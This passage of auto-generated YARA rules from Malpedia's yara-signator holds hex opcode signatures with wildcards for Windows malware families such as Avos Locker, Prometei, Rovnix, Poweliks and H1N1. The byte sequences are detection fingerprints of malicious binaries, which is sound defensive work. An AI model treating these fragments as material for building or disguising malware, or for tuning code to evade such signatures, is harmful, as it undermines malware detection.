	condition:
		7 of them and filesize < 1056768
}

rule MALPEDIA_Win_Avos_Locker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "039bebd7-5f26-5f3f-b924-0aa65f143ed6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avos_locker_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "25a4044828a799f02250311dfaed2866f19c9739199bc4c05e8d323abbd8f547"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d8d80fbffff e8???????? 888595fbffff 6a20 8d8d80fbffff e8???????? 888596fbffff }
		$sequence_1 = { 83fe1a 7ce4 eb0c 57 8d44241c 50 ff15???????? }
		$sequence_2 = { c7462800000000 c7462c00000000 0f114618 c645c000 f30f7e45d0 660fd64628 c745d000000000 }
		$sequence_3 = { 64a300000000 8bf1 8975ec c745fc00000000 6a24 c745f000000000 e8???????? }
		$sequence_4 = { 8955ec 3bda 7467 8b4208 8b4b08 8b730c }
		$sequence_5 = { 8d46ec 6a00 50 ff15???????? 85c0 0f8506080000 8b4604 }
		$sequence_6 = { 50 e8???????? 83c40c 6b45e430 8945e0 8d8090f74b00 8945e4 }
		$sequence_7 = { 66890451 33c0 6689445102 59 c20400 ff742408 c644240400 }
		$sequence_8 = { 8bcc 89a54cf7ffff 68???????? e8???????? c645fc35 8d85b8f9ffff 50 }
		$sequence_9 = { 8b11 8d4201 8901 8a442413 8802 0fb6c0 eb0b }
	condition:
		7 of them and filesize < 1701888
}

rule MALPEDIA_Win_Prometei_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "62ace16c-b0c3-554c-a9f7-6209373c3e72"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.prometei_auto.yar#L1-L160"
		license_url = "N/A"
		logic_hash = "9dde111159215a62fc6cb6707e61b66d4977093dee25c22cb9e592670f784bca"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 011d???????? 03c8 8b5de4 a1???????? }
		$sequence_1 = { 5b 8d7db0 8907 8bc7 bf1f000000 897004 894808 }
		$sequence_2 = { 33c0 85ff 742c 8b75d8 03f2 0fbe5405b8 }
		$sequence_3 = { 014368 81434400020000 c7434000000000 83534800 }
		$sequence_4 = { 014358 8b45f0 01435c 8b45fc }
		$sequence_5 = { ff15???????? 0fbe05???????? 56 8945fc ff15???????? }
		$sequence_6 = { b801000000 f745c000020000 8bd1 0f44f8 }
		$sequence_7 = { 833d????????00 0f85cc000000 6a00 6880000000 6a03 6a00 6a00 }
		$sequence_8 = { 10d0 00bb2d784334 2cbb 8d3b 61 }
		$sequence_9 = { f5 b56b 55 48 2d63d3c0b9 25809d1976 0482 }
		$sequence_10 = { 013d???????? 8b04b5c8054400 0500080000 3bc8 }
		$sequence_11 = { 01435c 8b45fc 014360 8b45f4 }
		$sequence_12 = { e8???????? 44 b46b d6 1e }
		$sequence_13 = { 014364 8b45e4 014368 5b }
		$sequence_14 = { 014360 8b45f4 014364 8b45e4 }
		$sequence_15 = { 014354 8b45e8 014358 8b45f0 }
	condition:
		7 of them and filesize < 51014656
}

rule MALPEDIA_Win_Deeppost_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "26540ba9-fd06-58b9-819a-14fd842afc11"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deeppost"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deeppost_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "728aa018aa6f90f3b8f03324b5446d97f2579b8aa528bcd211ab4ccdadb166ba"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff7640 e8???????? 83c410 8b4e3c 85c9 740e 8b06 }
		$sequence_1 = { e8???????? 83c40c 85c0 7440 6a06 68???????? 56 }
		$sequence_2 = { c1e708 0bca 0bf8 8b03 f780b800000000080000 7509 }
		$sequence_3 = { 8bc3 c1e810 8bd6 0fb6c0 c1c208 0fb688589a4800 8bc3 }
		$sequence_4 = { 8d85f0feffff 8bd7 53 ff7518 8bce 50 ff7510 }
		$sequence_5 = { 8bd3 e8???????? 85c0 0f85ce000000 8d8694000000 8d8f94000000 8945fc }
		$sequence_6 = { e8???????? 83c40c 837e1410 8b4d0c 894e10 720f 8b06 }
		$sequence_7 = { e8???????? 83c408 85c0 0f84b4000000 6a00 c7404c805d4000 e8???????? }
		$sequence_8 = { e8???????? 83c40c 8d0cb500000000 51 8b4dfc ff7108 ff7708 }
		$sequence_9 = { e8???????? 83c404 85c0 0f8533080000 b901000000 894dfc e9???????? }
	condition:
		7 of them and filesize < 1332224
}

rule MALPEDIA_Win_Vx_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "819f769e-28ec-57e1-97b7-877072140604"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vx_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vx_rat_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "97c6bacd6a4877ccea5be5ba5b0fe3c6e6fc6df11d41b5e80278399e84bfb336"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d45f4 64a300000000 8bf1 8b1d???????? c70600000000 c7461400000000 85db }
		$sequence_1 = { 8b0d???????? 8bd3 ff7608 6a32 50 }
		$sequence_2 = { e9???????? d9ee 84cd 0f84d2ae0000 d9e0 e9???????? ddd8 }
		$sequence_3 = { a1???????? 833c0700 7518 6a28 e8???????? 8b0d???????? 83c404 }
		$sequence_4 = { 8b45b8 03c0 c78540fdffff07000000 6889000000 }
		$sequence_5 = { 8bca c1f906 83e23f 6bd238 8b0c8d10df4300 88441129 }
		$sequence_6 = { 8b048510df4300 f644082801 7406 8b440818 5d }
		$sequence_7 = { 8b4ddc 8b45e8 8b0c8d10df4300 f644082804 7416 8a45ec }
		$sequence_8 = { 55 8bec 8b4510 56 8b750c 8b0e 3b0c8514e24300 }
		$sequence_9 = { 68e0070000 57 e8???????? ffb5d8f7ffff eb0c 68e0070000 }
	condition:
		7 of them and filesize < 550912
}

rule MALPEDIA_Win_Rovnix_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "32481422-18fb-556e-8e6c-7773a418af62"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rovnix_auto.yar#L1-L329"
		license_url = "N/A"
		logic_hash = "ba6bf6a0e452ea16caba209e420afba03e6b6e5de61f66132ac7c6a92113c249"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c335 c1e902 ad 2bc3 }
		$sequence_1 = { 57 6a00 ffd2 89442408 8bcf }
		$sequence_2 = { ad 2bc3 ab e2fa 61 }
		$sequence_3 = { 837c242c00 7405 57 6a00 }
		$sequence_4 = { 8b15???????? 83e7f0 89542418 83c710 8bea }
		$sequence_5 = { 60 bf40090000 be???????? 8b15???????? }
		$sequence_6 = { 8b4d0c 897604 8936 8d7e08 }
		$sequence_7 = { 8b7e10 eb06 8b5d0c 8b7d08 8bcf }
		$sequence_8 = { 8bc2 c1e802 25ff000000 8d4cc324 8b01 }
		$sequence_9 = { 85c0 e8???????? 8be5 5d }
		$sequence_10 = { 25ff000000 8d4cc624 8b01 3bc1 }
		$sequence_11 = { 3bc1 75f3 395e14 7511 ff4e18 }
		$sequence_12 = { 894804 8b4608 8b4e0c 8901 894804 8b4718 }
		$sequence_13 = { 894f04 8939 897804 ff4308 }
		$sequence_14 = { 8975e4 c745ec40020000 8975e8 8975f0 }
		$sequence_15 = { 83f919 7703 83c220 85c0 7404 }
		$sequence_16 = { e8???????? 8be5 5d c3 85c0 e8???????? }
		$sequence_17 = { 5d c3 85c9 e8???????? }
		$sequence_18 = { 55 8bec 85db 85c9 }
		$sequence_19 = { 23c9 16 85c9 23d2 }
		$sequence_20 = { 23db 81e1ff000000 23c9 83440c0404 }
		$sequence_21 = { 89442408 8bcf bb1092c63b 8bf8 83c335 c1e902 }
		$sequence_22 = { 57 4883ec20 488b35???????? 33c9 bb9a0000c0 e8???????? 33ed }
		$sequence_23 = { aa 27 ff44a8d2 4b }
		$sequence_24 = { e8???????? 483bf3 75ea 4883c310 4983ec01 75db 8a5508 }
		$sequence_25 = { 85c9 23c0 8be5 5d c20800 159e9dc35a fa }
		$sequence_26 = { 488d8c2400010000 ba00001080 895c2428 897c2420 ff15???????? 85c0 7914 }
		$sequence_27 = { 488905???????? 4a8d0c10 eb0d 488b02 488905???????? 488b0a 488b05???????? }
		$sequence_28 = { 6232 27 0149bc 2ec9 }
		$sequence_29 = { 8bec 23db 16 23c9 59 }
		$sequence_30 = { d147f0 79f4 28f8 8fc1 }
		$sequence_31 = { ae d7 b81fe9f60b e8???????? 7660 b85c8e6189 }
		$sequence_32 = { 488b4128 4883c120 488905???????? 48890d???????? 4c8918 4c895908 33c0 }
		$sequence_33 = { 488bcf ff15???????? 4c8d5c2470 8bc3 498b5b30 498b6b38 498b7348 }
		$sequence_34 = { 83440c0404 23c9 8be5 5d c20400 95 367a3e }
		$sequence_35 = { 4c397500 741e 837d04ff 750f 837d00ff 7512 488b4308 }
	condition:
		7 of them and filesize < 548864
}

rule MALPEDIA_Win_Crytox_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b9e5c6f9-e0d6-531a-8dd0-a7fad4a513e9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crytox"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crytox_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "79e78c490080a0e53c534d80effb4ddfe05889d0a54f29415d47f44d77b2adb2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 81fb07100000 0f84fcfcffff e9???????? 81fb0c000200 0f86ebfcffff e9???????? }
		$sequence_1 = { f72424 897c2414 8b7c2404 69cf182d0700 89c6 b867fb0900 01ca }
		$sequence_2 = { e8???????? 8945c8 8b45c8 c1f809 89c2 8b45cc c1f809 }
		$sequence_3 = { e8???????? 395c2430 75e5 8b7c2460 8b442434 31d2 8b5c2430 }
		$sequence_4 = { c705????????a9bc6600 e9???????? e8???????? 0fb6c0 8983d0470000 8b03 e8???????? }
		$sequence_5 = { e8???????? 8b4c2418 894104 8b4104 8938 8b4104 c7400400000000 }
		$sequence_6 = { e8???????? 31c0 eb17 891c24 e8???????? 837d0c00 89f0 }
		$sequence_7 = { e8???????? 89442404 8b55d8 8b4208 890424 e8???????? 83f80f }
		$sequence_8 = { e9???????? c744240477bf6600 891c24 e8???????? 85c0 750f c705????????05000000 }
		$sequence_9 = { e8???????? e9???????? 807b0300 0f84a7000000 a1????????85c07533 e8???????? 480f8eff010000 }
	condition:
		7 of them and filesize < 6156288
}

rule MALPEDIA_Win_Phoreal_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2e1897fd-9f9a-538a-af8f-a84b5fcbe486"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phoreal_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "18c8ae88c86b0c778613b0a4c96093868db37bfa76fd9a20dc86ddc9f37cec17"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33ff 8d642400 8b4608 3b7e0c 731f 8b0cb8 8d04b8 }
		$sequence_1 = { 8bd0 0355f8 83c40c 2bf7 740b 8bce 33c0 }
		$sequence_2 = { 8d45ac 50 51 53 ffd6 85c0 750a }
		$sequence_3 = { 2bf0 03f8 85f6 7fe0 eb03 83cfff }
		$sequence_4 = { 2bc1 50 51 8d45cc 50 53 }
		$sequence_5 = { 51 c7852cfeffff01000000 888534feffff e8???????? 8d8554ffffff 33d2 8d7e17 }
		$sequence_6 = { 1bd2 f7d2 85d1 75c3 8b5c2414 33ff 8b4c2418 }
		$sequence_7 = { 8b0d???????? 8b55fc 8d040f 2bf0 03f1 c1fe02 }
		$sequence_8 = { c78574ffffff8992f2a7 c78578ffffffaa9e9aee c7857cffffff89a5c199 c7458067cc6aaf c74584fa1200f5 c74588efc8d4ba }
		$sequence_9 = { 85ff 7414 8b855cffffff 50 }
	condition:
		7 of them and filesize < 622592
}

rule MALPEDIA_Win_Unidentified_095_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ae500f5e-affa-5f35-9b25-bf3d8d6f6e24"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_095"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_095_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "67701e8a3738389ac39b70a15648c44474c2440f2bd29cec3f0c8b5d1f7550a9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c8d0590ea0000 488d1541dd0000 e8???????? 4885c0 740f 488bcb 4883c420 }
		$sequence_1 = { 488d15f0e80100 488d0df5e80100 e8???????? eb2e 803875 }
		$sequence_2 = { 7419 4c8d442420 ba01000000 488bcb ff15???????? 85c0 }
		$sequence_3 = { 4d3bc1 0f84d1000000 8b7500 498b9cf7b8410200 90 4885db 740b }
		$sequence_4 = { 498bcc 488b9424c0000000 48896c2460 48896c2458 48896c2450 48896c2448 4889442440 }
		$sequence_5 = { 752e 48895c2430 448d4303 895c2428 488d0d67a00000 4533c9 4489442420 }
		$sequence_6 = { 4157 4881ec68020000 488b05???????? 4833c4 4889842440020000 49896b18 }
		$sequence_7 = { 4883c308 488d0520990100 483bd8 75d8 b001 4883c420 }
		$sequence_8 = { ff15???????? 3d24040000 7523 eb1c 41c70601000000 4885ed 7410 }
		$sequence_9 = { e9???????? 488d05b7890100 4a8b0ce8 42385cf938 }
	condition:
		7 of them and filesize < 339968
}

rule MALPEDIA_Win_Poweliks_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f451c0b0-4649-5c08-94b0-36c17c318bbf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poweliks"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poweliks_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "67c4fd9796059c69286d2c247dc5cb104b6a720e1f7ef3b5b45dfcea3566e76a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3bce 7602 8bce 85c9 7415 8b7d08 8b720c }
		$sequence_1 = { 394df4 72cd 8b703c 03f0 8b8e80000000 837c010c00 7449 }
		$sequence_2 = { ff55f0 8b7508 8b9e40110000 81c604110000 6a40 6800300000 03de }
		$sequence_3 = { 55 8bec 83ec68 6a6b 58 6a65 66894598 }
		$sequence_4 = { 6a6b 58 6a65 66894598 58 }
		$sequence_5 = { 51 ff15???????? 8945f8 8d45f8 50 ff15???????? 33d2 }
		$sequence_6 = { 8b0c87 0fb70443 8b3486 8365fc00 03ca 894df4 }
		$sequence_7 = { 58 6a72 6689459a 58 6a6e 6689459c 58 }
		$sequence_8 = { 47 83ff0c 72ea 83ff0c }
		$sequence_9 = { 8b5df4 03d8 8a4405d0 3a441dd0 }
	condition:
		7 of them and filesize < 115712
}

rule MALPEDIA_Win_H1N1_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "37ad4a5e-e020-5ff8-9301-408e3e0a9d4d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.h1n1_auto.yar#L1-L176"
		license_url = "N/A"
		logic_hash = "2e33215c731e3a160279240713f0099872fd50afe0eb8ebfd851884e2b2c7ed5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { bb09000000 eb6c 83bde8feffff0a 7563 }
		$sequence_1 = { 51 8b7df4 b900100000 33c0 f3aa 59 }
		$sequence_2 = { c745cc01000000 c745d010000000 c745d402000000 c745d820000000 c745dc04000000 c745e040000000 }
		$sequence_3 = { ff05???????? 6800020000 ff35???????? 58 }
		$sequence_4 = { 3503003400 ab 2d0e00fcff ab }
		$sequence_5 = { ffd0 ff750c ff75f0 ff75f4 8d45b8 50 e8???????? }
		$sequence_6 = { c745e404000000 c745e840000000 0fb77b06 8db3f8000000 33c9 f7462400000020 7403 }
		$sequence_7 = { ff75f8 ff7508 ff75fc ff75f4 ff35???????? 58 ffd0 }
		$sequence_8 = { 25ff000000 c1e908 330c85908f0010 42 }
		$sequence_9 = { 8bc1 83e001 d1e9 330c8500850010 330c95f48b0010 42 890c95bc850010 }
		$sequence_10 = { 8b442404 33d2 a3???????? 42 b9c0850010 8b01 c1e81e }
		$sequence_11 = { 50 68fc600010 6804010000 ff7508 e8???????? 83c424 c9 }
		$sequence_12 = { 81ff7c8f0010 7cd4 5f 8b0d???????? 330d???????? }
		$sequence_13 = { d1e9 330c8500850010 330d???????? 890d???????? 8b0cb5c0850010 8bc1 c1e80b }
		$sequence_14 = { 33f6 53 8bd6 bbffffff7f 8b0c95c4850010 330c95c0850010 23cb }
		$sequence_15 = { 68f4600010 56 e8???????? 8bf0 59 }
	condition:
		7 of them and filesize < 172032
}

rule MALPEDIA_Win_Deepdata_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8aad3a67-fb15-5e5f-9d9e-ff6fff6a45f8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deepdata"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deepdata_auto.yar#L1-L338"
		license_url = "N/A"
		logic_hash = "a34d5234f4db9f94f6aa56b11d8ba8d09bbd4a4349792470c342c748e8726f18"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 751d 68???????? ff15???????? 50 }
		$sequence_1 = { 83d000 50 51 8bce e8???????? }
		$sequence_2 = { b001 5d c3 8ac1 }
		$sequence_3 = { 8bd0 8bce e8???????? 83c408 5f }
		$sequence_4 = { 837d0800 7502 eb10 8b4508 a3???????? }
		$sequence_5 = { 55 8bec 8b4508 32c9 85c0 }
		$sequence_6 = { 740a 50 ff15???????? 83c404 8b8c245c010000 }
		$sequence_7 = { 8bec 56 57 8bf9 8d7704 8bce c707???????? }
		$sequence_8 = { e8???????? 81e3fbff0000 f20f1106 83cb08 }
		$sequence_9 = { ff36 e8???????? 83c408 c707???????? f6450801 }
		$sequence_10 = { 8bec 56 8bf1 c706???????? 8b4e18 83f910 7228 }
		$sequence_11 = { 83c104 3bd3 7cf2 eb06 32c0 88442425 }
		$sequence_12 = { e8???????? 83c40c c785c4fbffff2c020000 6a00 }
		$sequence_13 = { 7760 8bc2 51 50 e8???????? 83c408 c7463000000000 }
		$sequence_14 = { 64a300000000 8bf1 8b7d08 897dd0 c745d800000000 c745e800000000 c745ec0f000000 }
		$sequence_15 = { c78560ffffff00000000 c78564ffffff00000000 c78568ffffff00000000 c7856cffffff00000000 c78550ffffff00000000 c7458800000000 }
		$sequence_16 = { 837df401 7543 68???????? ff15???????? }
		$sequence_17 = { 8b4dfc e8???????? 8b4dfc e8???????? 8b10 52 8b4dfc }
		$sequence_18 = { 83c40c 83c118 6a08 50 }
		$sequence_19 = { e8???????? 8b00 50 8b4dfc e8???????? 8bc8 }
		$sequence_20 = { e8???????? 8b00 50 e8???????? 83c404 2bf0 }
		$sequence_21 = { a1???????? 8b4858 ffd1 83c40c }
		$sequence_22 = { 83c428 c645fc00 8d4d08 e8???????? c745fcffffffff 8d4d14 e8???????? }
		$sequence_23 = { e8???????? 83c404 394508 7321 8b4dfc }
		$sequence_24 = { 83c40c b001 5f 5b }
		$sequence_25 = { 8bec 83ec08 894dfc 8b4dfc e8???????? 8b00 50 }
		$sequence_26 = { 837df800 7549 837df401 7543 }
		$sequence_27 = { 6a00 6a00 ff7514 ff75c8 ff75c0 ff75c4 }
		$sequence_28 = { 8b4dfc e8???????? 8b16 3b10 750a 6a01 }
		$sequence_29 = { 8945e4 8b4dec e8???????? 833800 }
		$sequence_30 = { 50 8b4d10 8b11 ffd2 83c404 }
		$sequence_31 = { 8b4dfc 8b5108 0fb602 50 8b4dfc e8???????? }
		$sequence_32 = { 85d2 7526 8d4d90 e8???????? 0fb6c0 85c0 }
		$sequence_33 = { 83c118 e8???????? 8945f8 837df804 7408 837df808 740c }
		$sequence_34 = { 83c00c 6a00 50 e8???????? 84c0 }
		$sequence_35 = { 8b4dfc 8b5008 3b5104 7505 83c8ff eb1e 8b45fc }
	condition:
		7 of them and filesize < 33134592
}

rule MALPEDIA_Win_Zardoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "50308ee9-1428-5d6c-b40d-321fe9c765a2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zardoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zardoor_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "491b0a08b4b203499d0503a262d51ee8a6400f1ce6bac152bdcd0f18d092424e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 740d c7442428ac070000 e9???????? f687d005000080 8b442468 410f44c1 81fa03030000 }
		$sequence_1 = { f6c210 752c eb0a f6c220 7405 4584c0 7920 }
		$sequence_2 = { e8???????? 4889442448 4885c0 0f85c9000000 c74424201d010000 4c8d0d264f0b00 8d5566 }
		$sequence_3 = { ffc3 895c2430 e8???????? 3bd8 0f8c2cfeffff b801000000 488b9c2488000000 }
		$sequence_4 = { 488d1572b10900 488bcd e8???????? 85c0 0f8e29020000 488b13 4885d2 }
		$sequence_5 = { e8???????? 4883c9ff 660f1f440000 48ffc1 803c0800 75f7 83c10d }
		$sequence_6 = { e8???????? 488906 4885c0 0f85ab000000 83c8ff 488b742458 488b5c2460 }
		$sequence_7 = { e8???????? 4885c0 8bde 0f95c3 e8???????? 85db 488b9c2440010000 }
		$sequence_8 = { 8bc3 448bcb 488bf9 448bc3 488bcb 4883f838 7317 }
		$sequence_9 = { e8???????? 85c0 0f84d1000000 4d8b8d90000000 488bd3 4c8b442440 488bcb }
	condition:
		7 of them and filesize < 4376576
}

rule MALPEDIA_Win_Crypto_Fortress_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "57f6010b-f9b8-526f-94e4-905e1c039cff"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crypto_fortress_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "260674d34cb12cfd5de2f1a83904a3f49c27965fc58fd434a5b27b625cba2777"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 045a aa 2cff aa 2cf9 }
		$sequence_1 = { 0433 aa 04fc aa 3411 }
		$sequence_2 = { aa 345e aa 04af aa 2cfb aa }
		$sequence_3 = { aa 040f aa 2c0f }
		$sequence_4 = { aa 341b aa 2c01 }
		$sequence_5 = { 894304 83c308 8345fc08 c78548ffffff9c000000 }
		$sequence_6 = { 2c00 aa 0411 aa 2c51 aa 3421 }
